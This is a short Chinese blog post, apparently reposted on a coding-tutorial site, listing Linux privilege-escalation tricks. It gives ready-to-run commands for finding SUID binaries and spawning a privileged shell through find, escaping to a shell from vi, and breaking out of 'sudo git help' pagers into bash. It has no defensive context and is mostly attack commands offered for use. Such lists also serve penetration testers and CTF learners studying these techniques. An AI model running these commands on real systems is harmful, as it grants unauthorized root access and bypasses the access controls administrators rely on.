Linux提权方法小结

2022/2/18 7:14:04

本文主要是介绍Linux提权方法小结,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

1 find 命令提权

1.1 方法一

find / -perm -g=s -type f 2>/dev/null
find . -exec /bin/sh -p \;-quit

1.2 方法二

touch getshell
find / -type f -name getshell -exec "whoami" \;
find / -type f -name getshell -exec "/bin/sh" \;

1.3 方法三

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {};
touch test
find . -exec /bin/sh -p \;-quit

2 vi 命令逃逸

vi
# 输入以下内容
:set shell=/bin/sh
:shell

3 git 命令提权

3.1 方法一

sudo git help config
# 直接输入以下内容
!/bin/bash 或 !'sh'

3.2 方法二

sudo git -p help
# 直接输入以下内容
!/bin/bash


这篇关于Linux提权方法小结的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程